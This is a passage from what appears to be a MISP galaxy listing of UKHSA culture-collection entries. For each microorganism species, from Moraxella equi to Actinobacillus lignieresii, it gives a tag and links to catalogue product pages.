https://www.culturecollections.org.uk/nop/product/riemerella-anatipestifer

Moraxella equi

The tag is: *misp-galaxy:ukhsa-culture-collections="Moraxella equi"*

Table 28517. Table References

Links
https://www.culturecollections.org.uk/nop/product/moraxella-equi

Kingella denitrificans

The tag is: *misp-galaxy:ukhsa-culture-collections="Kingella denitrificans"*

Table 28518. Table References

Links
https://www.culturecollections.org.uk/nop/product/kingella-denitrificans
https://www.culturecollections.org.uk/nop/product/kingella-denitrificans-2
https://www.culturecollections.org.uk/nop/product/kingella-denitrificans-3

Rhodococcus coprophilus

The tag is: *misp-galaxy:ukhsa-culture-collections="Rhodococcus coprophilus"*

Table 28519. Table References

Links
https://www.culturecollections.org.uk/nop/product/rhodococcus-coprophilus

Rothia dentocariosa

The tag is: *misp-galaxy:ukhsa-culture-collections="Rothia dentocariosa"*

Table 28520. Table References

Links

https://www.culturecollections.org.uk/nop/product/rothia-dentocariosa-2
https://www.culturecollections.org.uk/nop/product/rothia-dentocariosa-3
https://www.culturecollections.org.uk/nop/product/rothia-dentocariosa

Brevundimonas vesicularis

The tag is: *misp-galaxy:ukhsa-culture-collections="Brevundimonas vesicularis"*

Table 28521. Table References

Links
https://www.culturecollections.org.uk/nop/product/brevundimonas-vesicularis
https://www.culturecollections.org.uk/nop/product/brevundimonas-vesicularis-2
https://www.culturecollections.org.uk/nop/product/brevundimonas-vesicularis-3

Actinobacillus seminis

The tag is: *misp-galaxy:ukhsa-culture-collections="Actinobacillus seminis"*

Table 28522. Table References

Links
https://www.culturecollections.org.uk/nop/product/actinobacillus-seminis

Campylobacter fetus subsp. fetus

The tag is: *misp-galaxy:ukhsa-culture-collections="Campylobacter fetus subsp. fetus"*

Table 28523. Table References

Links
https://www.culturecollections.org.uk/nop/product/campylobacter-fetus-subsp-fetus-3
https://www.culturecollections.org.uk/nop/product/campylobacter-fetus-subsp-fetus
https://www.culturecollections.org.uk/nop/product/campylobacter-fetus-subsp-fetus-2

Leuconostoc mesenteroides

The tag is: *misp-galaxy:ukhsa-culture-collections="Leuconostoc mesenteroides"*

Table 28524. Table References

Links
https://www.culturecollections.org.uk/nop/product/leuconostoc-mesenteroides
https://www.culturecollections.org.uk/nop/product/leuconostoc-mesenteroides-2

Actinobacillus rossii

The tag is: *misp-galaxy:ukhsa-culture-collections="Actinobacillus rossii"*

Table 28525. Table References

Links
https://www.culturecollections.org.uk/nop/product/actinobacillus-rossii
https://www.culturecollections.org.uk/nop/product/actinobacillus-rossii-2

Shewanella baltica

The tag is: *misp-galaxy:ukhsa-culture-collections="Shewanella baltica"*

Table 28526. Table References

Links
https://www.culturecollections.org.uk/nop/product/shewanella-baltica

Comamonas testosteroni

The tag is: *misp-galaxy:ukhsa-culture-collections="Comamonas testosteroni"*

Table 28527. Table References

Links
https://www.culturecollections.org.uk/nop/product/comamonas-testosteroni

Pseudomonas synxantha

The tag is: *misp-galaxy:ukhsa-culture-collections="Pseudomonas synxantha"*

Table 28528. Table References

Links
https://www.culturecollections.org.uk/nop/product/pseudomonas-synxantha

Gordonia rubropertincta

The tag is: *misp-galaxy:ukhsa-culture-collections="Gordonia rubropertincta"*

Table 28529. Table References

Links
https://www.culturecollections.org.uk/nop/product/gordonia-rubropertincta

Gordonia bronchialis

The tag is: *misp-galaxy:ukhsa-culture-collections="Gordonia bronchialis"*

Table 28530. Table References

Links
https://www.culturecollections.org.uk/nop/product/gordonia-bronchialis

Histoplasma duboisii

The tag is: *misp-galaxy:ukhsa-culture-collections="Histoplasma duboisii"*

Table 28531. Table References

Links
https://www.culturecollections.org.uk/nop/product/histoplasma-duboisii-5
https://www.culturecollections.org.uk/nop/product/histoplasma-duboisii-4
https://www.culturecollections.org.uk/nop/product/histoplasma-duboisii-3
https://www.culturecollections.org.uk/nop/product/histoplasma-duboisii

Histoplasma capsulatum

The tag is: *misp-galaxy:ukhsa-culture-collections="Histoplasma capsulatum"*

Table 28532. Table References

Links
https://www.culturecollections.org.uk/nop/product/histoplasma-capsulatum-21
https://www.culturecollections.org.uk/nop/product/histoplasma-capsulatum-63
https://www.culturecollections.org.uk/nop/product/histoplasma-capsulatum-46
https://www.culturecollections.org.uk/nop/product/histoplasma-capsulatum-33
https://www.culturecollections.org.uk/nop/product/histoplasma-capsulatum-29
https://www.culturecollections.org.uk/nop/product/histoplasma-capsulatum-27

Coccidioides posadasii

The tag is: *misp-galaxy:ukhsa-culture-collections="Coccidioides posadasii"*

Table 28533. Table References

Links
https://www.culturecollections.org.uk/nop/product/coccidioides-posadasii-3
https://www.culturecollections.org.uk/nop/product/coccidioides-posadasii-2

https://www.culturecollections.org.uk/nop/product/coccidioides-posadasii

Corynebacterium cervicis

The tag is: *misp-galaxy:ukhsa-culture-collections="Corynebacterium cervicis"*

Table 28534. Table References

Links
https://www.culturecollections.org.uk/nop/product/corynebacterium-cervicis-3
https://www.culturecollections.org.uk/nop/product/corynebacterium-cervicis
https://www.culturecollections.org.uk/nop/product/corynebacterium-cervicis-2
https://www.culturecollections.org.uk/nop/product/corynebacterium-cervicis-4

Kurthia zopfii

The tag is: *misp-galaxy:ukhsa-culture-collections="Kurthia zopfii"*

Table 28535. Table References

Links
https://www.culturecollections.org.uk/nop/product/kurthia-zopfii-3
https://www.culturecollections.org.uk/nop/product/kurthia-zopfii
https://www.culturecollections.org.uk/nop/product/kurthia-zopfii-2

Eikenella corrodens

The tag is: *misp-galaxy:ukhsa-culture-collections="Eikenella corrodens"*

Table 28536. Table References

Links
https://www.culturecollections.org.uk/nop/product/eikenella-corrodens
https://www.culturecollections.org.uk/nop/product/eikenella-corrodens-2

Megamonas hypermegale

The tag is: *misp-galaxy:ukhsa-culture-collections="Megamonas hypermegale"*

Table 28537. Table References

Links
https://www.culturecollections.org.uk/nop/product/megamonas-hypermegale
https://www.culturecollections.org.uk/nop/product/megamonas-hypermegale-3

https://www.culturecollections.org.uk/nop/product/megamonas-hypermegale-2

Kingella kingae

The tag is: *misp-galaxy:ukhsa-culture-collections="Kingella kingae"*

Table 28538. Table References

Links
https://www.culturecollections.org.uk/nop/product/kingella-kingae
https://www.culturecollections.org.uk/nop/product/kingella-kingae-3
https://www.culturecollections.org.uk/nop/product/kingella-kingae-2

Psychrobacter phenylpyruvicus

The tag is: *misp-galaxy:ukhsa-culture-collections="Psychrobacter phenylpyruvicus"*

Table 28539. Table References

Links
https://www.culturecollections.org.uk/nop/product/psychrobacter-phenylpyruvicus
https://www.culturecollections.org.uk/nop/product/psychrobacter-phenylpyruvicus-3
https://www.culturecollections.org.uk/nop/product/psychrobacter-phenylpyruvicus-2

Staphylococcus saprophyticus subsp. saprophyticus

The tag is: *misp-galaxy:ukhsa-culture-collections="Staphylococcus saprophyticus subsp. saprophyticus"*

Table 28540. Table References

Links
https://www.culturecollections.org.uk/nop/product/staphylococcus-saprophyticus-subsp-saprophyticus-10
https://www.culturecollections.org.uk/nop/product/staphylococcus-saprophyticus-subsp-saprophyticus-11
https://www.culturecollections.org.uk/nop/product/staphylococcus-saprophyticus-subsp-saprophyticus-7
https://www.culturecollections.org.uk/nop/product/staphylococcus-saprophyticus-subsp-saprophyticus-9
https://www.culturecollections.org.uk/nop/product/staphylococcus-saprophyticus-subsp-saprophyticus-8
https://www.culturecollections.org.uk/nop/product/staphylococcus-saprophyticus-subsp-saprophyticus-3

https://www.culturecollections.org.uk/nop/product/staphylococcus-saprophyticus-subsp-saprophyticus-2
https://www.culturecollections.org.uk/nop/product/staphylococcus-saprophyticus-subsp-saprophyticus-5
https://www.culturecollections.org.uk/nop/product/staphylococcus-saprophyticus-subsp-saprophyticus
https://www.culturecollections.org.uk/nop/product/staphylococcus-saprophyticus-subsp-saprophyticus-4
https://www.culturecollections.org.uk/nop/product/staphylococcus-saprophyticus-subsp-saprophyticus-6

Stenotrophomonas maltophilia

The tag is: *misp-galaxy:ukhsa-culture-collections="Stenotrophomonas maltophilia"*

Table 28541. Table References

Links
https://www.culturecollections.org.uk/nop/product/stenotrophomonas-maltophilia-4
https://www.culturecollections.org.uk/nop/product/stenotrophomonas-maltophilia-3
https://www.culturecollections.org.uk/nop/product/stenotrophomonas-maltophilia
https://www.culturecollections.org.uk/nop/product/stenotrophomonas-maltophilia-5
https://www.culturecollections.org.uk/nop/product/stenotrophomonas-maltophilia-2

Shinella zoogloeoides

The tag is: *misp-galaxy:ukhsa-culture-collections="Shinella zoogloeoides"*

Table 28542. Table References

Links
https://www.culturecollections.org.uk/nop/product/shinella-zoogloeoides

Moraxella osloensis

The tag is: *misp-galaxy:ukhsa-culture-collections="Moraxella osloensis"*

Table 28543. Table References

Links
https://www.culturecollections.org.uk/nop/product/moraxella-osloensis
https://www.culturecollections.org.uk/nop/product/moraxella-osloensis-3
https://www.culturecollections.org.uk/nop/product/moraxella-osloensis-2

https://www.culturecollections.org.uk/nop/product/moraxella-osloensis-4

Cardiobacterium hominis

The tag is: *misp-galaxy:ukhsa-culture-collections="Cardiobacterium hominis"*

Table 28544. Table References

Links
https://www.culturecollections.org.uk/nop/product/cardiobacterium-hominis
https://www.culturecollections.org.uk/nop/product/cardiobacterium-hominis-3
https://www.culturecollections.org.uk/nop/product/cardiobacterium-hominis-2

Pseudomonas alcaligenes

The tag is: *misp-galaxy:ukhsa-culture-collections="Pseudomonas alcaligenes"*

Table 28545. Table References

Links
https://www.culturecollections.org.uk/nop/product/pseudomonas-alcaligenes-2
https://www.culturecollections.org.uk/nop/product/pseudomonas-alcaligenes

Paenibacillus polymyxa

The tag is: *misp-galaxy:ukhsa-culture-collections="Paenibacillus polymyxa"*

Table 28546. Table References

Links
https://www.culturecollections.org.uk/nop/product/paenibacillus-polymyxa-4
https://www.culturecollections.org.uk/nop/product/paenibacillus-polymyxa
https://www.culturecollections.org.uk/nop/product/paenibacillus-polymyxa-3
https://www.culturecollections.org.uk/nop/product/paenibacillus-polymyxa-2

Bacillus megaterium

The tag is: *misp-galaxy:ukhsa-culture-collections="Bacillus megaterium"*

Table 28547. Table References

Links
https://www.culturecollections.org.uk/nop/product/bacillus-megaterium-7
https://www.culturecollections.org.uk/nop/product/bacillus-megaterium-3

https://www.culturecollections.org.uk/nop/product/bacillus-megaterium-2
https://www.culturecollections.org.uk/nop/product/bacillus-megaterium-5
https://www.culturecollections.org.uk/nop/product/bacillus-megaterium-6
https://www.culturecollections.org.uk/nop/product/bacillus-megaterium
https://www.culturecollections.org.uk/nop/product/bacillus-megaterium-4

Bacillus sphaericus

The tag is: *misp-galaxy:ukhsa-culture-collections="Bacillus sphaericus"*

Table 28548. Table References

Links
https://www.culturecollections.org.uk/nop/product/bacillus-sphaericus-7
https://www.culturecollections.org.uk/nop/product/bacillus-sphaericus-2
https://www.culturecollections.org.uk/nop/product/bacillus-sphaericus-4
https://www.culturecollections.org.uk/nop/product/bacillus-sphaericus
https://www.culturecollections.org.uk/nop/product/bacillus-sphaericus-3
https://www.culturecollections.org.uk/nop/product/bacillus-sphaericus-5
https://www.culturecollections.org.uk/nop/product/bacillus-sphaericus-6
https://www.culturecollections.org.uk/nop/product/bacillus-sphaericus-8

Bacillus firmus

The tag is: *misp-galaxy:ukhsa-culture-collections="Bacillus firmus"*

Table 28549. Table References

Links
https://www.culturecollections.org.uk/nop/product/bacillus-firmus

Acinetobacter johnsonii

The tag is: *misp-galaxy:ukhsa-culture-collections="Acinetobacter johnsonii"*

Table 28550. Table References

Links
https://www.culturecollections.org.uk/nop/product/acinetobacter-johnsonii
https://www.culturecollections.org.uk/nop/product/acinetobacter-johnsonii-2

Acinetobacter junii

The tag is: *misp-galaxy:ukhsa-culture-collections="Acinetobacter junii"*

Table 28551. Table References

Links
https://www.culturecollections.org.uk/nop/product/acinetobacter-junii
https://www.culturecollections.org.uk/nop/product/acinetobacter-junii-2

Moraxella (branhamella) cuniculi

The tag is: *misp-galaxy:ukhsa-culture-collections="Moraxella (branhamella) cuniculi"*

Table 28552. Table References

Links
https://www.culturecollections.org.uk/nop/product/moraxella-branhamella-cuniculi

Moraxella (branhamella) caviae

The tag is: *misp-galaxy:ukhsa-culture-collections="Moraxella (branhamella) caviae"*

Table 28553. Table References

Links
https://www.culturecollections.org.uk/nop/product/moraxella-branhamella-caviae
https://www.culturecollections.org.uk/nop/product/moraxella-branhamella-caviae-3
https://www.culturecollections.org.uk/nop/product/moraxella-branhamella-caviae-2

Corynebacterium minutissimum

The tag is: *misp-galaxy:ukhsa-culture-collections="Corynebacterium minutissimum"*

Table 28554. Table References

Links
https://www.culturecollections.org.uk/nop/product/corynebacterium-minutissimum-3
https://www.culturecollections.org.uk/nop/product/corynebacterium-minutissimum
https://www.culturecollections.org.uk/nop/product/corynebacterium-minutissimum-4
https://www.culturecollections.org.uk/nop/product/corynebacterium-minutissimum-2

Yersinia pseudotuberculosis

The tag is: *misp-galaxy:ukhsa-culture-collections="Yersinia pseudotuberculosis"*

Table 28555. Table References

Links
https://www.culturecollections.org.uk/nop/product/yersinia-pseudotuberculosis-21
https://www.culturecollections.org.uk/nop/product/yersinia-pseudotuberculosis-24
https://www.culturecollections.org.uk/nop/product/yersinia-pseudotuberculosis
https://www.culturecollections.org.uk/nop/product/yersinia-pseudotuberculosis-20
https://www.culturecollections.org.uk/nop/product/yersinia-pseudotuberculosis-11
https://www.culturecollections.org.uk/nop/product/yersinia-pseudotuberculosis-22
https://www.culturecollections.org.uk/nop/product/yersinia-pseudotuberculosis-10
https://www.culturecollections.org.uk/nop/product/yersinia-pseudotuberculosis-14
https://www.culturecollections.org.uk/nop/product/yersinia-pseudotuberculosis-17
https://www.culturecollections.org.uk/nop/product/yersinia-pseudotuberculosis-18
https://www.culturecollections.org.uk/nop/product/yersinia-pseudotuberculosis-2
https://www.culturecollections.org.uk/nop/product/yersinia-pseudotuberculosis-8
https://www.culturecollections.org.uk/nop/product/yersinia-pseudotuberculosis-23
https://www.culturecollections.org.uk/nop/product/yersinia-pseudotuberculosis-12
https://www.culturecollections.org.uk/nop/product/yersinia-pseudotuberculosis-13
https://www.culturecollections.org.uk/nop/product/yersinia-pseudotuberculosis-16
https://www.culturecollections.org.uk/nop/product/yersinia-pseudotuberculosis-5
https://www.culturecollections.org.uk/nop/product/yersinia-pseudotuberculosis-9
https://www.culturecollections.org.uk/nop/product/yersinia-pseudotuberculosis-19
https://www.culturecollections.org.uk/nop/product/yersinia-pseudotuberculosis-3
https://www.culturecollections.org.uk/nop/product/yersinia-pseudotuberculosis-6
https://www.culturecollections.org.uk/nop/product/yersinia-pseudotuberculosis-7
https://www.culturecollections.org.uk/nop/product/yersinia-pseudotuberculosis-25
https://www.culturecollections.org.uk/nop/product/yersinia-pseudotuberculosis-15
https://www.culturecollections.org.uk/nop/product/yersinia-pseudotuberculosis-4

Mycoplasma gallinaceum

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycoplasma gallinaceum"*

Table 28556. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycoplasma-gallinaceum

Mycoplasma neurolyticum

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycoplasma neurolyticum"*

Table 28557. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycoplasma-neurolyticum

Mycoplasma putrefaciens

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycoplasma putrefaciens"*

Table 28558. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycoplasma-putrefaciens

Mycoplasma conjunctivae

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycoplasma conjunctivae"*

Table 28559. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycoplasma-conjunctivae

Mycoplasma cynos

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycoplasma cynos"*

Table 28560. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycoplasma-cynos

Mycoplasma alkalescens

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycoplasma alkalescens"*

Table 28561. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycoplasma-alkalescens

Mycoplasma hyorhinis

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycoplasma hyorhinis"*

Table 28562. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycoplasma-hyorhinis-2
https://www.culturecollections.org.uk/nop/product/mycoplasma-hyorhinis

Mycoplasma dispar

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycoplasma dispar"*

Table 28563. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycoplasma-dispar

Mycoplasma bovigenitalium

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycoplasma bovigenitalium"*

Table 28564. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycoplasma-bovigenitalium

Mycoplasma pneumoniae

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycoplasma pneumoniae"*

Table 28565. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycoplasma-pneumoniae

Mycoplasma bovirhinis

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycoplasma bovirhinis"*

Table 28566. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycoplasma-bovirhinis

Mycoplasma fermentans

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycoplasma fermentans"*

Table 28567. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycoplasma-fermentans

Acholeplasma laidlawii

The tag is: *misp-galaxy:ukhsa-culture-collections="Acholeplasma laidlawii"*

Table 28568. Table References

Links
https://www.culturecollections.org.uk/nop/product/acholeplasma-laidlawii

Mycoplasma gallisepticum

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycoplasma gallisepticum"*

Table 28569. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycoplasma-gallisepticum

Mycoplasma salivarium

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycoplasma salivarium"*

Table 28570. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycoplasma-salivarium

Mycoplasma orale

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycoplasma orale"*

Table 28571. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycoplasma-orale

Salmonella enterica subsp. salamae serotype Springs

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. salamae serotype Springs"*

Table 28572. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-salamae-serotype-springs

Salmonella enterica subsp. enterica serotype Sundsvall

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Sundsvall"*

Table 28573. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-sundsvall-2
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-sundsvall

Salmonella enterica subsp. enterica serotype Ibadan

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Ibadan"*

Table 28574. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-ibadan

Brevundimonas diminuta

The tag is: *misp-galaxy:ukhsa-culture-collections="Brevundimonas diminuta"*

Table 28575. Table References

Links
https://www.culturecollections.org.uk/nop/product/brevundimonas-diminuta
https://www.culturecollections.org.uk/nop/product/brevundimonas-diminuta-3
https://www.culturecollections.org.uk/nop/product/brevundimonas-diminuta-2

Haemophilus aegyptius

The tag is: *misp-galaxy:ukhsa-culture-collections="Haemophilus aegyptius"*

Table 28576. Table References

Links
https://www.culturecollections.org.uk/nop/product/haemophilus-aegyptius-2
https://www.culturecollections.org.uk/nop/product/haemophilus-aegyptius

Salmonella enterica subsp. enterica serotype Matopeni

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Matopeni"*

Table 28577. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-matopeni

Arcanobacterium haemolyticum

The tag is: *misp-galaxy:ukhsa-culture-collections="Arcanobacterium haemolyticum"*

Table 28578. Table References

Links
https://www.culturecollections.org.uk/nop/product/arcanobacterium-haemolyticum
https://www.culturecollections.org.uk/nop/product/arcanobacterium-haemolyticum-5
https://www.culturecollections.org.uk/nop/product/arcanobacterium-haemolyticum-2
https://www.culturecollections.org.uk/nop/product/arcanobacterium-haemolyticum-3
https://www.culturecollections.org.uk/nop/product/arcanobacterium-haemolyticum-4

Vibrio metschnikovii

The tag is: *misp-galaxy:ukhsa-culture-collections="Vibrio metschnikovii"*

Table 28579. Table References

Links
https://www.culturecollections.org.uk/nop/product/vibrio-metschnikovii
https://www.culturecollections.org.uk/nop/product/vibrio-metschnikovii-2

https://www.culturecollections.org.uk/nop/product/vibrio-metschnikovii-5
https://www.culturecollections.org.uk/nop/product/vibrio-metschnikovii-6
https://www.culturecollections.org.uk/nop/product/vibrio-metschnikovii-3
https://www.culturecollections.org.uk/nop/product/vibrio-metschnikovii-4
https://www.culturecollections.org.uk/nop/product/vibrio-metschnikovii-7

Neisseria flavescens

The tag is: *misp-galaxy:ukhsa-culture-collections="Neisseria flavescens"*

Table 28580. Table References

Links
https://www.culturecollections.org.uk/nop/product/neisseria-flavescens-3
https://www.culturecollections.org.uk/nop/product/neisseria-flavescens-2
https://www.culturecollections.org.uk/nop/product/neisseria-flavescens

Haemophilus influenzae biotype aegyptius

The tag is: *misp-galaxy:ukhsa-culture-collections="Haemophilus influenzae biotype aegyptius"*

Table 28581. Table References

Links
https://www.culturecollections.org.uk/nop/product/haemophilus-influenzae-biotype-aegyptius

Pseudomonas mucidolens

The tag is: *misp-galaxy:ukhsa-culture-collections="Pseudomonas mucidolens"*

Table 28582. Table References

Links
https://www.culturecollections.org.uk/nop/product/pseudomonas-mucidolens

Aeromonas hydrophila

The tag is: *misp-galaxy:ukhsa-culture-collections="Aeromonas hydrophila"*

Table 28583. Table References

Links
https://www.culturecollections.org.uk/nop/product/aeromonas-hydrophila-2
https://www.culturecollections.org.uk/nop/product/aeromonas-hydrophila-3

https://www.culturecollections.org.uk/nop/product/aeromonas-hydrophila-4
https://www.culturecollections.org.uk/nop/product/aeromonas-hydrophila

Haemophilus parainfluenzae

The tag is: *misp-galaxy:ukhsa-culture-collections="Haemophilus parainfluenzae"*

Table 28584. Table References

Links
https://www.culturecollections.org.uk/nop/product/haemophilus-parainfluenzae
https://www.culturecollections.org.uk/nop/product/haemophilus-parainfluenzae-3
https://www.culturecollections.org.uk/nop/product/haemophilus-parainfluenzae-2

Kocuria rosea

The tag is: *misp-galaxy:ukhsa-culture-collections="Kocuria rosea"*

Table 28585. Table References

Links
https://www.culturecollections.org.uk/nop/product/kocuria-rosea-10
https://www.culturecollections.org.uk/nop/product/kocuria-rosea-7
https://www.culturecollections.org.uk/nop/product/kocuria-rosea-11
https://www.culturecollections.org.uk/nop/product/kocuria-rosea-12
https://www.culturecollections.org.uk/nop/product/kocuria-rosea-8
https://www.culturecollections.org.uk/nop/product/kocuria-rosea
https://www.culturecollections.org.uk/nop/product/kocuria-rosea-6
https://www.culturecollections.org.uk/nop/product/kocuria-rosea-2
https://www.culturecollections.org.uk/nop/product/kocuria-rosea-3
https://www.culturecollections.org.uk/nop/product/kocuria-rosea-4
https://www.culturecollections.org.uk/nop/product/kocuria-rosea-5
https://www.culturecollections.org.uk/nop/product/kocuria-rosea-9
https://www.culturecollections.org.uk/nop/product/kocuria-rosea-13

Corynebacterium renale

The tag is: *misp-galaxy:ukhsa-culture-collections="Corynebacterium renale"*

Table 28586. Table References

Links

https://www.culturecollections.org.uk/nop/product/corynebacterium-renale
https://www.culturecollections.org.uk/nop/product/corynebacterium-renale-4
https://www.culturecollections.org.uk/nop/product/corynebacterium-renale-2
https://www.culturecollections.org.uk/nop/product/corynebacterium-renale-3

Salmonella enterica subsp. enterica serotype Orientalis

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Orientalis"*

Table 28587. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-orientalis

Pseudomonas chlororaphis

The tag is: *misp-galaxy:ukhsa-culture-collections="Pseudomonas chlororaphis"*

Table 28588. Table References

Links
https://www.culturecollections.org.uk/nop/product/pseudomonas-chlororaphis
https://www.culturecollections.org.uk/nop/product/pseudomonas-chlororaphis-2

Salmonella enterica subsp. enterica serotype Miami

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Miami"*

Table 28589. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-miami

Salmonella enterica subsp. enterica serotype Cubana

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Cubana"*

Table 28590. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-cubana

Salmonella enterica subsp. enterica serotype Florida

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Florida"*

Table 28591. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-florida

Paenibacillus macerans

The tag is: *misp-galaxy:ukhsa-culture-collections="Paenibacillus macerans"*

Table 28592. Table References

Links
https://www.culturecollections.org.uk/nop/product/paenibacillus-macerans-4
https://www.culturecollections.org.uk/nop/product/paenibacillus-macerans-2
https://www.culturecollections.org.uk/nop/product/paenibacillus-macerans-5
https://www.culturecollections.org.uk/nop/product/paenibacillus-macerans
https://www.culturecollections.org.uk/nop/product/paenibacillus-macerans-6

Salmonella enterica subsp. enterica serotype Saintpaul

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Saintpaul"*

Table 28593. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-saintpaul

Salmonella enterica subsp. enterica serotype Telaviv

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Telaviv"*

Table 28594. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-telaviv

Salmonella enterica subsp. enterica serotype Minnesota

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Minnesota"*

Table 28595. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-minnesota

Salmonella enterica subsp. enterica serotype Carrau

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Carrau"*

Table 28596. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-carrau

Salmonella enterica subsp. enterica serotype Newington

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Newington"*

Table 28597. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-newington
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-newington-2

Salmonella enterica subsp. enterica serotype Give

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Give"*

Table 28598. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-give

Bacillus lentus

The tag is: *misp-galaxy:ukhsa-culture-collections="Bacillus lentus"*

Table 28599. Table References

Links
https://www.culturecollections.org.uk/nop/product/bacillus-lentus

Streptococcus equi subsp. zooepidemicus

The tag is: *misp-galaxy:ukhsa-culture-collections="Streptococcus equi subsp. zooepidemicus"*

Table 28600. Table References

Links
https://www.culturecollections.org.uk/nop/product/streptococcus-equi-subsp-zooepidemicus-2
https://www.culturecollections.org.uk/nop/product/streptococcus-equi-subsp-zooepidemicus
https://www.culturecollections.org.uk/nop/product/streptococcus-equi-subsp-zooepidemicus-9
https://www.culturecollections.org.uk/nop/product/streptococcus-equi-subsp-zooepidemicus-5
https://www.culturecollections.org.uk/nop/product/streptococcus-equi-subsp-zooepidemicus-3
https://www.culturecollections.org.uk/nop/product/streptococcus-equi-subsp-zooepidemicus-12
https://www.culturecollections.org.uk/nop/product/streptococcus-equi-subsp-zooepidemicus-11
https://www.culturecollections.org.uk/nop/product/streptococcus-equi-subsp-zooepidemicus-10
https://www.culturecollections.org.uk/nop/product/streptococcus-equi-subsp-zooepidemicus-13
https://www.culturecollections.org.uk/nop/product/streptococcus-equi-subsp-zooepidemicus-8
https://www.culturecollections.org.uk/nop/product/streptococcus-equi-subsp-zooepidemicus-6
https://www.culturecollections.org.uk/nop/product/streptococcus-equi-subsp-zooepidemicus-4
https://www.culturecollections.org.uk/nop/product/streptococcus-equi-subsp-zooepidemicus-7

Streptococcus uberis

The tag is: *misp-galaxy:ukhsa-culture-collections="Streptococcus uberis"*

Table 28601. Table References

Links

https://www.culturecollections.org.uk/nop/product/streptococcus-uberis-4
https://www.culturecollections.org.uk/nop/product/streptococcus-uberis
https://www.culturecollections.org.uk/nop/product/streptococcus-uberis-3
https://www.culturecollections.org.uk/nop/product/streptococcus-uberis-2

Actinobacillus lignieresii

The tag is: *misp-galaxy:ukhsa-culture-collections="Actinobacillus lignieresii"*

Table 28602. Table References

Links
https://www.culturecollections.org.uk/nop/product/actinobacillus-lignieresii
https://www.culturecollections.org.uk/nop/product/actinobacillus-lignieresii-12
https://www.culturecollections.org.uk/nop/product/actinobacillus-lignieresii-9
https://www.culturecollections.org.uk/nop/product/actinobacillus-lignieresii-10
https://www.culturecollections.org.uk/nop/product/actinobacillus-lignieresii-11
https://www.culturecollections.org.uk/nop/product/actinobacillus-lignieresii-4
https://www.culturecollections.org.uk/nop/product/actinobacillus-lignieresii-5
https://www.culturecollections.org.uk/nop/product/actinobacillus-lignieresii-6
https://www.culturecollections.org.uk/nop/product/actinobacillus-lignieresii-8
https://www.culturecollections.org.uk/nop/product/actinobacillus-lignieresii-13
https://www.culturecollections.org.uk/nop/product/actinobacillus-lignieresii-2
